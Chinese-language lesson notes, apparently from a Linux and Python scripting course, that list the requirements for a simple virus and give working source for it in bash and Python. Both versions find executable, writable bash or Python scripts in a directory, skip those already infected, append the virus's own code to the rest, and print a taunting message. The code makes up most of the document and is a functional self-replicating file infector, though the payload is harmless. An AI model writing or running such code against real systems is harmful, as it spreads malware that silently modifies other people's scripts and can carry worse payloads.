使用**subprocess**模块完成病毒自我复制

使用**subprocess**模块完成批量添加用户

虚拟环境的搭建，激活和退出；第三方包的安装

病毒：（bash、python）

1. 判断当前病毒是否已经在运行，如果是，那么我就不再运行
2. 病毒感染对象为bash|python脚本(file)(Python script|Bourne-Again shell script)
3. 可执行的可写的[-w file -a -x file]
4. 感染病毒的脚本执行的时候会额外输出"I am evil！"
5. 病毒能够自我复制
6. 如果已经被感染，就不再感染

```bash
#!/bin/bash
if [ ! -f /tmp/.mybblock ];then touch /tmp/.mybblock; for i in `find /tmp/test/*` ; do grep "mybblock" $i &> /dev/null && continue ; file $i | grep "Bourne-Again shell script" &> /dev/null || continue ; [ -x $i -a -w $i ] || continue ; tail -n 1 $0 >> $i; done ; echo "hello,I am evil!"; rm -rf /tmp/.mybblock &> /dev/null ; fi
```

```
#!/usr/bin/env python
import sys
from subprocess import *
test1=call('test -f /tmp/.mybb_lock', shell=True)
if test1 == 0: exit()
test2=call('touch /tmp/.mybb_lock',shell=True)
test_string=Popen('find /root/bash/*',shell=True,stdout=PIPE).communicate()[0]
test_list=test_string.split('\n')
del test_list[-1]
for file in test_list:
    file_string=open(file).read()
    if 'mybb' in file_string: continue
    test_wx=call(['test','-w',file,'-a','-x',file])
    if test_wx != 0 : continue
    test_python1=Popen(['file',file],stdout=PIPE)
    test_python2=Popen(['grep','Python script'],stdin=test_python1.stdout,stdout=PIPE)
    if test_python2.communicate()[0] == None:continue
    string=open(sys.argv[0]).read()
    infile_string=string.lstrip('#!/usr/bin/env python').lstrip()
    with open(file,'a') as infile:
        infile.write(infile_string)
print "I am superman"
file_del=call('rm -rf /tmp/.mybb_lock',shell=True)
```